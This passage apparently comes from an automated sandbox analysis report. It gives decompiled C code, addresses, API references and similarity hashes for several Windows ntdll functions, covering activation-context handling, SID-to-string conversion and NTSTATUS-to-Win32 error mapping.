				short* _t175;
				short* _t176;
				void* _t177;
				void* _t178;
				void* _t187;

				_t152 = __ecx;
				_v12 = _v12 & 0x00000000;
				_t167 = _a12;
				_v28 = __ecx;
				_v20 = 0xc00000e5;
				if(_t167 != 0) {
					 *_t167 =  *_t167 & 0x00000000;
				}
				_push( &_v24);
				_t172 = 1;
				_push( &_v16);
				_push(1);
				_push(_t152);
				_push(_t152);
				_t149 = 0x30;
				_push(_t149);
				_push(_t167);
				_push(_a8);
				_push(_a4);
				E6B571D47( &_v20);
				if(_v12 == 0) {
					return _v20;
				} else {
					_push( &_v8);
					_push( &_v20);
					_t178 = _t177 - 0x14;
					_push( &_v12);
					_push( &_v12);
					_t104 = E6B548EE6(_v16, _v24);
					if(_t104 < 0) {
						return _t104;
					}
					_t163 = _v28;
					_t106 =  *((intOrPtr*)(_t163 + 0x18)) + _t163;
					_v12 = _t106;
					_t156 =  *((intOrPtr*)(_t106 + 0xc)) + _t163;
					if(1 >=  *((intOrPtr*)(_t106 + 8))) {
						L8:
						if(_t187 == 0) {
							_push(_t163);
							E6B5D5720(0x33, 0, "SXS: %s() found activation context data at %p with assembly roster that has no root\n", "RtlpQueryInformationActivationContextDetailedInformation");
							return 0xc0150003;
						}
						_t158 =  *((intOrPtr*)(_t172 * 0x18 + _t156 + 0x10)) + _t163;
						_v20 = _t158;
						_t33 = _t158 + 0x14; // 0x0
						_t110 =  *_t33;
						if(_t110 != 0) {
							_t34 = _t110 + 0x32; // 0x6b591822
							_t149 = _t34;
						}
						_t35 = _t158 + 0x28; // 0xffffffc4
						_t111 =  *_t35;
						if(_t111 != 0) {
							_t149 = _t149 + 2 + _t111;
						}
						_t113 =  *((intOrPtr*)(_v8 + 0x2c));
						if(_t113 != 0) {
							_t149 = _t149 + 2 + _t113;
						}
						if(_t149 <= _a8) {
							_t168 = _a4;
							_t174 = _a4 + 0x30;
							 *_t168 =  *((intOrPtr*)(_t163 + 0x1c));
							_t164 = _t168;
							 *((intOrPtr*)(_t164 + 4)) =  *((intOrPtr*)(_t163 + 8));
							 *((intOrPtr*)(_t164 + 8)) =  *((intOrPtr*)(_v12 + 8)) - 1;
							_t47 = _t158 + 0x10; // 0xfffffffe
							 *((intOrPtr*)(_t164 + 0xc)) =  *_t47;
							_t49 = _t158 + 0x14; // 0x0
							 *(_t164 + 0x24) =  *(_t164 + 0x24) & 0x00000000;
							 *(_t164 + 0x10) =  *_t49 >> 1;
							_t53 = _t158 + 0x24; // 0x0
							 *((intOrPtr*)(_t164 + 0x14)) =  *_t53;
							_t55 = _t158 + 0x28; // 0xffffffc4
							 *(_t164 + 0x28) =  *(_t164 + 0x28) & 0x00000000;
							 *(_t164 + 0x18) =  *_t55 >> 1;
							_t165 = _v8;
							 *((intOrPtr*)(_t168 + 0x1c)) =  *((intOrPtr*)(_t165 + 0x28));
							_t166 = _t168;
							_t169 = _a12;
							 *(_t166 + 0x2c) =  *(_t166 + 0x2c) & 0x00000000;
							 *(_t166 + 0x20) =  *(_t165 + 0x2c) >> 1;
							if( *(_t158 + 0x14) != 0) {
								_t68 = _t158 + 0x14; // 0x0
								_t69 = _t158 + 0x18; // 0x6b5b4765
								memcpy(_t174,  *_t69 + _v16,  *_t68);
								_t178 = _t178 + 0xc;
								_t158 = _v20;
								 *(_a4 + 0x24) = _t174;
								_t176 = _t174 +  *(_t158 + 0x14);
								 *_t176 = 0;
								_t174 = _t176 + 2;
							}
							if( *(_t158 + 0x28) != 0) {
								_t86 = _t158 + 0x28; // 0xffffffc4
								_t87 = _t158 + 0x2c; // 0x0
								memcpy(_t174,  *_t87 + _v16,  *_t86);
								_t178 = _t178 + 0xc;
								 *(_a4 + 0x28) = _t174;
								_t175 = _t174 +  *((intOrPtr*)(_v20 + 0x28));
								 *_t175 = 0;
								_t174 = _t175 + 2;
							}
							_t159 = _v8;
							if( *(_t159 + 0x2c) != 0) {
								memcpy(_t174,  *((intOrPtr*)(_t159 + 0x30)) + _t159,  *(_t159 + 0x2c));
								 *(_a4 + 0x2c) = _t174;
								 *((short*)(_t174 +  *((intOrPtr*)(_v8 + 0x2c)))) = 0;
							}
							if(_t169 != 0) {
								 *_t169 = _t149;
							}
							return 0;
						} else {
							if(_t167 != 0) {
								 *_t167 = _t149;
							}
							return 0xc0000023;
						}
					}
					_t170 = _v12;
					_t24 = _t156 + 0x18; // 0x116
					_t147 = _t24;
					while(( *_t147 & 0x00000002) == 0) {
						_t172 = _t172 + 1;
						_t147 =  &(_t147[0x18]);
						if(_t172 <  *((intOrPtr*)(_t170 + 8))) {
							continue;
						}
						break;
					}
					_t167 = _a12;
					_t187 = _t172 -  *((intOrPtr*)(_v12 + 8));
					goto L8;
				}
			}

0x6b548d29
0x6b548d31
0x6b548d38
0x6b548d3b
0x6b548d3e
0x6b548d47
0x6b548d49
0x6b548d49
0x6b548d51
0x6b548d55
0x6b548d56
0x6b548d57
0x6b548d58
0x6b548d59
0x6b548d5c
0x6b548d5d
0x6b548d5e
0x6b548d5f
0x6b548d65
0x6b548d6b
0x6b548d76
0x00000000
0x6b548d7c
0x6b548d82
0x6b548d86
0x6b548d87
0x6b548d8d
0x6b548d8e
0x6b548d92
0x6b548d99
0x6b548e14
0x6b548e14
0x6b548d9b
0x6b548da1
0x6b548da3
0x6b548da9
0x6b548dae
0x6b548dc8
0x6b548dc8
0x6b5a348b
0x6b5a349a
0x00000000
0x6b5a34a2
0x6b548dd5
0x6b548dd7
0x6b548dda
0x6b548dda
0x6b548ddf
0x6b548de1
0x6b548de1
0x6b548de1
0x6b548de4
0x6b548de4
0x6b548de9
0x6b5a34af
0x6b5a34af
0x6b548df2
0x6b548df7
0x6b548dfc
0x6b548dfc
0x6b548e01
0x6b548e1a
0x6b548e20
0x6b548e23
0x6b548e28
0x6b548e2a
0x6b548e34
0x6b548e37
0x6b548e3a
0x6b548e3d
0x6b548e40
0x6b548e46
0x6b548e49
0x6b548e4c
0x6b548e4f
0x6b548e52
0x6b548e58
0x6b548e5b
0x6b548e61
0x6b548e67
0x6b548e69
0x6b548e6e
0x6b548e72
0x6b548e79
0x6b548e7b
0x6b548e7e
0x6b548e86
0x6b548e8e
0x6b548e91
0x6b548e94
0x6b548e99
0x6b548e9c
0x6b548e9f
0x6b548e9f
0x6b548ea6
0x6b5a34b6
0x6b5a34b9
0x6b5a34c1
0x6b5a34c9
0x6b5a34cc
0x6b5a34d2
0x6b5a34d7
0x6b5a34da
0x6b5a34da
0x6b548eac
0x6b548eb3
0x6b548ebf
0x6b548ecc
0x6b548ed5
0x6b548ed5
0x6b548edb
0x6b548edd
0x6b548edd
0x00000000
0x6b548e03
0x6b548e05
0x6b548e07
0x6b548e07
0x00000000
0x6b548e09
0x6b548e01
0x6b548db0
0x6b548db3
0x6b548db3
0x6b548db6
0x6b5a3479
0x6b5a347a
0x6b5a3480
0x00000000
0x00000000
0x00000000
0x6b5a3486
0x6b548dc2
0x6b548dc5
0x00000000
0x6b548dc5

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6B5917F0,00000000,?,00000000,?), ref: 6B548E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6B5917F0,00000000,?,00000000,?), ref: 6B548EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6B5A3491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6B5A348C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: d0c16caddf5c4d86c3507f9eb2eb447be0616ef7a4cbb6d7cce749b85dcc5d6d
Instruction ID: e82134d9ad98fc0ee92d98f60a23b3aa8289218c7c2fa7b8ba79a06df31eb268
Opcode Fuzzy Hash: d0c16caddf5c4d86c3507f9eb2eb447be0616ef7a4cbb6d7cce749b85dcc5d6d
Instruction Fuzzy Hash: 03713DB1A00219DFEB04CF58C980A9AB7F5FF48318F254599E818AB341D335ED92CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 6B5620A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6B5620A0(intOrPtr* __ecx) {
				signed int _v0;
				signed int _v8;
				signed char _v60;
				signed int* _v64;
				signed char _v68;
				signed int* _v72;
				intOrPtr _v76;
				signed int* _v84;
				signed int* _v88;
				char _v92;
				signed int _v96;
				signed char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t111;
				void* _t133;
				signed char _t134;
				signed int* _t135;
				signed int* _t136;
				signed char _t138;
				signed int* _t142;
				signed int* _t144;
				void* _t145;
				intOrPtr* _t147;
				void* _t149;
				signed int _t152;
				signed int _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x64;
				_v8 =  *0x6b63d360 ^ _t154;
				_t144 =  *( *[fs:0x18] + 0x1a8);
				_t147 = __ecx;
				if(_t144 == 0) {
					_t142 = 0;
				} else {
					_t142 =  *_t144;
				}
				_t138 =  *(_t147 + 0x10);
				if((_t138 & 0x00000040) != 0) {
					_v84 = 0;
					_v76 = 3;
					_v72 = 0;
					_v68 = _t147 + 8;
					_v64 =  *_t144;
					_push( &_v92);
					_v92 = 0xc0150011;
					_v88 = 0;
					_t104 = E6B59DEF0(_t138, _t142);
					goto L12;
				} else {
					if((_t138 & 0x00000020) == 0) {
						_v84 = 0;
						_v76 = 3;
						_v72 = 0;
						_v68 = _t147 + 8;
						_v64 =  *_t144;
						_v92 = 0xc0150010;
						L25:
						_v88 = 1;
						_push( &_v92);
						_t104 = E6B59DEF0(_t138, _t142);
						L12:
						_pop(_t145);
						_pop(_t149);
						_pop(_t133);
						return E6B58B640(_t104, _t133, _v0 ^ _t154, _t142, _t145, _t149);
					}
					_t104 = _t138 & 0x00000060;
					if((_t138 & 0x00000060) != 0x20) {
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t147 + 8;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					if( *_t147 < 0x24) {
						L8:
						if(_t142 != 0) {
							_t134 = _t142[2];
							_t104 = _t134 & 0x00000070;
							if((_t134 & 0x00000070) != 0x20) {
								L28:
								_v84 = 0;
								_v76 = 4;
								_v72 = _t144;
								_v68 = _t142;
								_v64 = _t142;
								_v60 = _t142[2];
								_v92 = 0xc0150014;
								goto L25;
							}
							if((_t134 & 0x00000008) != 0 ||  *((intOrPtr*)(_t142 - 8)) < 0x24) {
								goto L9;
							} else {
								if(_t142[3] !=  !( *_t142)) {
									goto L28;
								}
								_t104 =  !(_t142[1]);
								if(_t142[4] ==  !(_t142[1])) {
									goto L9;
								}
								goto L28;
							}
						}
						L9:
						if((_t138 & 0x00000010) == 0) {
							_t27 = _t147 + 8; // 0x2c
							_t135 = _t27;
							if(_t142 != _t135) {
								_t111 =  *_t144;
								_push(_t135);
								_push(_t111);
								_v100 = _t111;
								_v96 =  *_t135;
								E6B5D5720(0x33, 2, "SXS: %s() Active frame is not the frame being deactivated %p != %p\n", "RtlDeactivateActivationContextUnsafeFast");
								_t138 = _v100;
								_t154 = _t154 + 0x18;
								_t142 = 0;
								if(_t138 == 0) {
									L36:
									_v84 = 0;
									_v76 = 3;
									_v72 = _t142;
									_v68 = _t135;
									_v64 =  *_t144;
									if(_t138 == 0) {
										_v92 = 0xc0150010;
										_v88 = 1;
									} else {
										_v88 = 0;
										_v92 = (0 | _t142 == 0x00000000) * 2 - 0x3feafff1;
									}
									_push( &_v92);
									E6B59DEF0(_t138, _t142);
									goto L20;
								}
								while(_t138 != _v96) {
									if(( *(_t138 + 8) & 0x00000070) != 0x20 || ( *(_t138 + 8) & 0x00000008) == 0 && ( *((intOrPtr*)(_t138 + 0xc)) !=  !( *_t138) ||  *((intOrPtr*)(_t138 + 0x10)) !=  !( *(_t138 + 4)))) {
										_v84 = 0;
										_v76 = 4;
										_v72 = _t144;
										_v68 = _t138;
										_v64 = _t135;
										_v60 =  *(_t138 + 8);
										_v92 = 0xc0150014;
										goto L25;
									} else {
										_t138 =  *_t138;
										_t142 =  &(_t142[0]);
										if(_t138 != 0) {
											continue;
										}
										goto L36;
									}
								}
								goto L36;
							}
							L20:
							_t104 =  *_t135;
							 *_t144 =  *_t135;
						}
						 *(_t147 + 0x10) =  *(_t147 + 0x10) | 0x00000040;
						if( *_t147 >= 0x24) {
							_t104 = _v0;
							 *(_t147 + 0x20) = _v0;
						}
						goto L12;
					}
					_t9 = _t147 + 8; // 0x2c
					_t136 = _t9;
					if( *((intOrPtr*)(_t147 + 0x14)) !=  !( *(_t147 + 8))) {
						L27:
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t136;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					_t104 =  !( *(_t147 + 0xc));
					if( *((intOrPtr*)(_t147 + 0x18)) !=  !( *(_t147 + 0xc))) {
						goto L27;
					}
					goto L8;
				}
			}

0x6b5620a8
0x6b5620b2
0x6b5620bf
0x6b5620c5
0x6b5620c9
0x6b5acfc8
0x6b5620cf
0x6b5620cf
0x6b5620cf
0x6b5620d1
0x6b5620d7
0x6b5acfd2
0x6b5acfda
0x6b5acfe2
0x6b5acfea
0x6b5acff0
0x6b5acff8
0x6b5acff9
0x6b5ad001
0x6b5ad009
0x00000000
0x6b5620dd
0x6b5620e0
0x6b5ad016
0x6b5ad01e
0x6b5ad026
0x6b5ad02e
0x6b5ad034
0x6b5ad038
0x6b5ad06d
0x6b5ad071
0x6b5ad079
0x6b5ad07a
0x6b56212e
0x6b562132
0x6b562133
0x6b562134
0x6b56213f
0x6b56213f
0x6b5620e8
0x6b5620ec
0x6b5ad087
0x6b5ad08f
0x6b5ad097
0x6b5ad09b
0x6b5ad09f
0x6b5ad0a3
0x6b5ad0a7
0x00000000
0x6b5ad0a7
0x6b5620f5
0x6b562116
0x6b562118
0x6b562140
0x6b562145
0x6b562149
0x6b5ad0db
0x6b5ad0db
0x6b5ad0e3
0x6b5ad0eb
0x6b5ad0ef
0x6b5ad0f3
0x6b5ad0fa
0x6b5ad0fe
0x00000000
0x6b5ad0fe
0x6b562152
0x00000000
0x6b56215a
0x6b562161
0x00000000
0x00000000
0x6b56216a
0x6b56216f
0x00000000
0x00000000
0x00000000
0x6b562171
0x6b562152
0x6b56211a
0x6b56211d
0x6b562176
0x6b562176
0x6b56217b
0x6b5ad10b
0x6b5ad10f
0x6b5ad110
0x6b5ad11f
0x6b5ad123
0x6b5ad127
0x6b5ad12c
0x6b5ad130
0x6b5ad133
0x6b5ad137
0x6b5ad174
0x6b5ad174
0x6b5ad17c
0x6b5ad184
0x6b5ad188
0x6b5ad18e
0x6b5ad194
0x6b5ad1b2
0x6b5ad1ba
0x6b5ad196
0x6b5ad198
0x6b5ad1ac
0x6b5ad1ac
0x6b5ad1c6
0x6b5ad1c7
0x00000000
0x6b5ad1c7
0x6b5ad139
0x6b5ad146
0x6b5ad042
0x6b5ad04a
0x6b5ad052
0x6b5ad056
0x6b5ad05a
0x6b5ad061
0x6b5ad065
0x00000000
0x6b5ad16d
0x6b5ad16d
0x6b5ad16f
0x6b5ad172
0x00000000
0x00000000
0x00000000
0x6b5ad172
0x6b5ad146
0x00000000
0x6b5ad139
0x6b562181
0x6b562181
0x6b562183
0x6b562183
0x6b56211f
0x6b562126
0x6b562128
0x6b56212b
0x6b56212b
0x00000000
0x6b562126
0x6b5620fa
0x6b5620fa
0x6b562102
0x6b5ad0b1
0x6b5ad0b1
0x6b5ad0b9
0x6b5ad0c1
0x6b5ad0c5
0x6b5ad0c9
0x6b5ad0cd
0x6b5ad0d1
0x00000000
0x6b5ad0d1
0x6b56210b
0x6b562110
0x00000000
0x00000000
0x00000000
0x6b562110

APIs

RtlRaiseException.1105(?), ref: 6B5AD009
RtlRaiseException.1105(C0150010), ref: 6B5AD07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6B5AD127
RtlRaiseException.1105(C0150010), ref: 6B5AD1C7

Strings

RtlDeactivateActivationContextUnsafeFast, xrefs: 6B5AD111
SXS: %s() Active frame is not the frame being deactivated %p != %p, xrefs: 6B5AD116

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise$Print
String ID: RtlDeactivateActivationContextUnsafeFast$SXS: %s() Active frame is not the frame being deactivated %p != %p
API String ID: 3901562751-4142264681
Opcode ID: 8bc1c0ebd18c635638e19cde55d6f7cfbe79426eba87b6193981da79b9a42609
Instruction ID: 67eaca9431cb087665e3b8ea0c9dcf345ca49d0eef03d9fc8b81b5f6f82c1534
Opcode Fuzzy Hash: 8bc1c0ebd18c635638e19cde55d6f7cfbe79426eba87b6193981da79b9a42609
Instruction Fuzzy Hash: B7812BB0948305CFE350DF19C48478AFBE0BB89348F504A5DF999A7290E37AD585CB96

Uniqueness

Uniqueness Score: -1.00%

Function 6B55A500, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6B55A500(void* __ebx, void* __esi, void* __eflags, intOrPtr _a4, void* _a8, char _a12) {
				signed int _v8;
				char _v10;
				char _v12;
				char _v508;
				char _v512;
				void _v520;
				struct _EXCEPTION_RECORD _v524;
				intOrPtr _v528;
				char _v532;
				void* __edi;
				void* __ebp;
				void* _t49;
				WCHAR* _t62;
				int _t65;
				void* _t80;
				signed char _t81;
				struct _EXCEPTION_RECORD _t82;
				int _t95;
				short _t98;
				void* _t112;
				short* _t114;
				signed short _t116;
				int _t117;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t113 = __esi;
				_t80 = __ebx;
				_v8 =  *0x6b63d360 ^ _t119;
				_t112 = _a8;
				_push(_t112);
				_v524 = _a4;
				_t49 = E6B55A860(__eflags);
				if(_t49 != 1 ||  *_t112 != _t49) {
					_t50 = 0xc0000078;
					goto L25;
				} else {
					_push(__esi);
					E6B5971A0( &_v520, 0x100, L"S-1-");
					_t121 = _t120 + 0xc;
					_t114 =  &_v512;
					if( *(_t112 + 2) != 0 ||  *(_t112 + 3) != 0) {
						E6B597110( &_v520, 0x100, 0x6b53292c);
						_t114 =  &_v508;
						_t121 = _t121 + 0xc;
						_v528 = ( *(_t112 + 3) & 0x000000ff) + (( *(_t112 + 2) & 0x000000ff) << 8);
						_push(_t114);
						_v532 = (((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff);
						_push(0xfa);
						_t50 = E6B5E5BFD(_t80,  &_v532, _t112, _t114, __eflags);
					} else {
						_t111 = 0xa;
						_t50 = E6B55A6C0((((( *(_t112 + 4) & 0x000000ff) << 8) + ( *(_t112 + 5) & 0x000000ff) << 8) + ( *(_t112 + 6) & 0x000000ff) << 8) + ( *(_t112 + 7) & 0x000000ff), 0xa, 0xfc, _t114);
					}
					if(_t50 < 0) {
						L24:
						_pop(_t113);
						L25:
						return E6B58B640(_t50, _t80, _v8 ^ _t119, _t111, _t112, _t113);
					} else {
						_push(_t80);
						_t81 = 0;
						if( *((intOrPtr*)(_t112 + 1)) <= 0) {
							L14:
							if(_a12 != 0) {
								_t62 =  &_v520;
								RtlCreateUnicodeString(_v524, _t62);
								__eflags = _t62;
								if(_t62 != 0) {
									L22:
									_t50 = 0;
									L23:
									_pop(_t80);
									goto L24;
								}
								_t50 = 0xc0000017;
								goto L23;
							}
							if(_t114 >=  &_v10) {
								L18:
								_t82 = _v524;
								_t116 = _t114 -  &_v520 & 0xfffffffe;
								_t65 =  *(_t82 + 2) & 0x0000ffff;
								_t95 = _t65;
								if(_t116 >= _t95) {
									_t50 = 0x80000005;
									goto L23;
								}
								_t112 =  *(_t82 + 4);
								_t117 = _t116 & 0x0000ffff;
								if(_t117 > _t65) {
									_t117 = _t95;
								}
								 *_t82 = _t117;
								memcpy(_t112,  &_v520, _t117);
								if(( *_t82 & 0x0000ffff) + 2 <= ( *(_t82 + 2) & 0x0000ffff)) {
									 *((short*)(_t112 + (_t117 >> 1) * 2)) = 0;
								}
								goto L22;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v10) {
									continue;
								}
								goto L18;
							}
							goto L18;
						}
						_t98 = 0x2d;
						do {
							if(_t114 >=  &_v12) {
								L12:
								 *_t114 = _t98;
								_t114 = _t114 + 2;
								_t111 = 0xa;
								if(E6B55A6C0( *((intOrPtr*)(_t112 + 8 + (_t81 & 0x000000ff) * 4)), 0xa, 0x100 - (_t114 -  &_v520 >> 1), _t114) < 0) {
									goto L23;
								}
								goto L13;
							}
							while( *_t114 != 0) {
								_t114 = _t114 + 2;
								if(_t114 <  &_v12) {
									continue;
								}
								goto L12;
							}
							goto L12;
							L13:
							_t81 = _t81 + 1;
							_t98 = 0x2d;
						} while (_t81 <  *((intOrPtr*)(_t112 + 1)));
						goto L14;
					}
				}
			}

0x6b55a500
0x6b55a500
0x6b55a512
0x6b55a519
0x6b55a51c
0x6b55a51d
0x6b55a523
0x6b55a52a
0x6b5aa2c0
0x00000000
0x6b55a538
0x6b55a538
0x6b55a54a
0x6b55a54f
0x6b55a552
0x6b55a55c
0x6b5aa2db
0x6b5aa2e4
0x6b5aa2ee
0x6b5aa2fa
0x6b5aa31d
0x6b5aa31e
0x6b5aa32a
0x6b5aa32f
0x6b55a56c
0x6b55a570
0x6b55a598
0x6b55a598
0x6b55a59f
0x6b55a684
0x6b55a684
0x6b55a685
0x6b55a693
0x6b55a5a5
0x6b55a5a5
0x6b55a5a6
0x6b55a5ab
0x6b55a610
0x6b55a614
0x6b55a696
0x6b55a6a3
0x6b55a6a8
0x6b55a6aa
0x6b55a681
0x6b55a681
0x6b55a683
0x6b55a683
0x00000000
0x6b55a683
0x6b55a6ac
0x00000000
0x6b55a6ac
0x6b55a61f
0x6b55a631
0x6b55a631
0x6b55a63f
0x6b55a642
0x6b55a646
0x6b55a64a
0x6b55a6b7
0x00000000
0x6b55a6b7
0x6b55a64c
0x6b55a64f
0x6b55a655
0x6b55a6b3
0x6b55a6b3
0x6b55a65e
0x6b55a663
0x6b55a677
0x6b55a67d
0x6b55a67d
0x00000000
0x6b55a677
0x6b55a621
0x6b55a627
0x6b55a62f
0x00000000
0x00000000
0x00000000
0x6b55a62f
0x00000000
0x6b55a621
0x6b55a5ad
0x6b55a5b2
0x6b55a5b7
0x6b55a5d0
0x6b55a5d0
0x6b55a5d9
0x6b55a5dc
0x6b55a5fe
0x00000000
0x00000000
0x00000000
0x6b55a5fe
0x6b55a5c0
0x6b55a5c6
0x6b55a5ce
0x00000000
0x00000000
0x00000000
0x6b55a5ce
0x00000000
0x6b55a604
0x6b55a604
0x6b55a606
0x6b55a60b
0x00000000
0x6b55a5b2
0x6b55a59f

APIs

RtlValidSid.1105(00000050,?), ref: 6B55A523
wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6B55A54A

Part of subcall function 6B55A6C0: memcpy.1105(00000000,?,?,?,00000050,?,00000000), ref: 6B55A781

memcpy.1105(?,?,00000000,00000000,000000FC,?,?,00000050,?), ref: 6B55A663
RtlCreateUnicodeString.1105(?,?,00000000,000000FC,?,?,00000050,?), ref: 6B55A6A3
wcscat_s.1105(?,00000100,6B53292C,?,00000050,?), ref: 6B5AA2DB

Strings

S-1-, xrefs: 6B55A539

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$CreateStringUnicodeValidwcscat_swcscpy_s
String ID: S-1-
API String ID: 1445283056-1273753892
Opcode ID: 522ec76c06e3538df209c6be3abcf561a5dcb872ca7b616fb7d19bf1cdccb0ed
Instruction ID: f7139628497503b02ccd8ae6395fc8ca17667e59496245fde10c4d39b8471179
Opcode Fuzzy Hash: 522ec76c06e3538df209c6be3abcf561a5dcb872ca7b616fb7d19bf1cdccb0ed
Instruction Fuzzy Hash: A151F8B2D041695AFB24CB388C647E9B7F4AF45301F0541A7D569D7180E33C9EA5CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B54CCC0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 134
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6B54CCC0(signed short _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				signed int _t36;
				signed short _t39;
				signed int _t46;
				signed int _t55;
				intOrPtr _t57;
				unsigned int _t67;
				intOrPtr _t70;
				signed int _t79;
				void* _t84;
				void* _t90;
				signed int _t92;
				void* _t93;

				_push(0xfffffffe);
				_push(0x6b61f828);
				_push(0x6b5917f0);
				_push( *[fs:0x0]);
				_t36 =  *0x6b63d360;
				_v12 = _v12 ^ _t36;
				_push(_t36 ^ _t92);
				 *[fs:0x0] =  &_v20;
				_v28 = _t93 - 0xc;
				_t57 =  *[fs:0x18];
				if(_t57 == 0) {
					_t39 = _a4;
				} else {
					_v8 = 0;
					_t39 = _a4;
					 *(_t57 + 0xbf4) = _t39;
					_v8 = 0xfffffffe;
				}
				if(_t39 == 0) {
					 *[fs:0x0] = _v20;
					return 0;
				} else {
					if(_t39 == 0x103) {
						 *[fs:0x0] = _v20;
						return 0x3e5;
					} else {
						if((_t39 & 0x20000000) != 0) {
							L16:
							 *[fs:0x0] = _v20;
							return _t39;
						} else {
							if((_t39 & 0x00ff0000) == 0x70000) {
								_t67 = _t39 >> 0x18;
								if(_t67 != 0xc0) {
									if(_t67 != 0x80) {
										goto L6;
									} else {
										goto L21;
									}
								} else {
									goto L21;
								}
							} else {
								L6:
								if((_t39 & 0xf0000000) == 0xd0000000) {
									_t39 = _t39 & 0xcfffffff;
								}
								_t90 = 0;
								_t84 = 0x11e;
								do {
									_t79 = _t84 + _t90 >> 1;
									_t70 =  *((intOrPtr*)(0x6b52a300 + _t79 * 8));
									_t55 = _t39 - _t70;
									if(_t39 < _t70) {
										_t84 = _t79 - 1;
										goto L11;
									} else {
										if(_t55 < ( *(0x6b52a304 + _t79 * 8) & 0x000000ff)) {
											_t46 =  *(0x6b52a306 + _t79 * 8) & 0x0000ffff;
											if( *((char*)(0x6b52a305 + _t79 * 8)) != 1) {
												_t39 = ( *(0x6b528692 + (_t46 + _t55 * 2) * 2) & 0x0000ffff) << 0x00000010 |  *(0x6b528690 + (_t46 + _t55 * 2) * 2) & 0x0000ffff;
											} else {
												_t39 =  *(0x6b528690 + (_t46 + _t55) * 2) & 0x0000ffff;
											}
											goto L16;
										} else {
											_t90 = _t79 + 1;
											goto L11;
										}
									}
									goto L28;
									L11:
								} while (_t90 <= _t84);
								if((_t39 & 0xffff0000) == 0xc0010000) {
									L21:
									 *[fs:0x0] = _v20;
									return _t39 & 0x0000ffff;
								} else {
									E6B54B150("RTL: RtlNtStatusToDosError(0x%lx): No Valid Win32 Error Mapping\n", _t39);
									E6B54B150();
									E6B54B150("RTL: ERROR_MR_MID_NOT_FOUND is being returned\n", "RTL: Edit ntos\\rtl\\generr.c to correct the problem\n");
									_t39 = 0x13d;
									goto L16;
								}
							}
						}
					}
				}
				L28:
			}

0x6b54ccc5
0x6b54ccc7
0x6b54cccc
0x6b54ccd7
0x6b54ccde
0x6b54cce3
0x6b54cce8
0x6b54ccec
0x6b54ccf2
0x6b54ccf5
0x6b54ccfe
0x6b5a4dc8
0x6b54cd04
0x6b54cd04
0x6b54cd0b
0x6b54cd0e
0x6b54cd14
0x6b54cd14
0x6b54cd1d
0x6b54cdca
0x6b54cdd8
0x6b54cd23
0x6b54cd28
0x6b54cde3
0x6b54cdf1
0x6b54cd2e
0x6b54cd33
0x6b54cdb1
0x6b54cdb4
0x6b54cdc2
0x6b54cd35
0x6b54cd43
0x6b54ce10
0x6b54ce19
0x6b5a4dd6
0x00000000
0x6b5a4ddc
0x00000000
0x6b5a4ddc
0x00000000
0x00000000
0x00000000
0x6b54cd49
0x6b54cd49
0x6b54cd57
0x6b5a4de1
0x6b5a4de1
0x6b54cd5d
0x6b54cd5f
0x6b54cd64
0x6b54cd67
0x6b54cd69
0x6b54cd72
0x6b54cd76
0x6b54cd90
0x00000000
0x6b54cd78
0x6b54cd82
0x6b54cd95
0x6b54cda5
0x6b54ce0a
0x6b54cda7
0x6b54cda9
0x6b54cda9
0x00000000
0x6b54cd84
0x6b54cd84
0x00000000
